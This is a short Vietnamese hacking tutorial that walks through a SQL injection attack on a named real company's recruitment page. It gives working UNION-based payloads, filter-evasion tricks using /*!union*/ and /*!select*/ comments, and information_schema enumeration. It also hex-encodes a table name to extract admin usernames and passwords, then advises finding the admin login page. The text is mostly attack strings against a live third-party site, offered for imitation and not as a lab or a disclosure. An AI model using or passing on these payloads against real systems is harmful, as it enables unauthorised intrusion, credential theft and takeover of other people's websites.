Nguồn mumauden.com - Tac gia : Thanggiangho

http://www.vinaplast.com.vn/htmls/re...tail.php?id=15

thêm ' nó báo lỗi

and 1=1

and 1=0

>>lỗi

Bây h order by nhé

http://www.vinaplast.com.vn/htmls/re...tail.php?id=15 order by 1000-- - mà nó vẫn ko có ji, chứng tỏ nó bị ở đâu đó

>>http://www.vinaplast.com.vn/htmls/re...tail.php?id=15' order by 1-- - vẫn ok

Làm đến order by 7 là nó báo lỗi

http://www.vinaplast.com.vn/htmls/re...tail.php?id=15' order by 7-- -

Bắt đầu union

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union select 1,2,3,4,5,6-- -

Xuất hiện:

Forbidden

You don't have permission to access /htmls/recruitment_detail.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Thay union thành /*!union*/

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' /*!union*/ select 1,2,3,4,5,6-- -

Ra số 2 và 4 nhé:

Thay vào số 2: version(),database(),user() để biết thông tin nhé

Bước này mới quan trọng:

Get table_name

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' /*!union*/ select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()-- -

ui nó ko ra, lại xuất hiện lỗi

Forbidden

You don't have permission to access /htmls/recruitment_detail.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Chú ý khai thác 1 tý:

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,table_name),3,4,5,6 from information_schema./*!tables*/ where table_schema=database()-- -

NÓ ra nhé:

Ta thấy table: Lấy table :tbl_admin nhé

Get colum

tbl_admin đến hex: 74626c5f61646d696e

>>tbl_admin=0x74626c5f61646d696e

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,column_name),3,4,5,6 from information_schema./*!columns*/ where table_schema=database() and table_name=0x74626c5f61646d696e-- -

admin_username

admin_password

Lấy 2 cái này thôi nhé

http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,admin_username,admin_password),3, 4,5,6 from tbl_admin-- -

XOng ra kết quả- tìm link admin login thôi

Tut by thanggiangho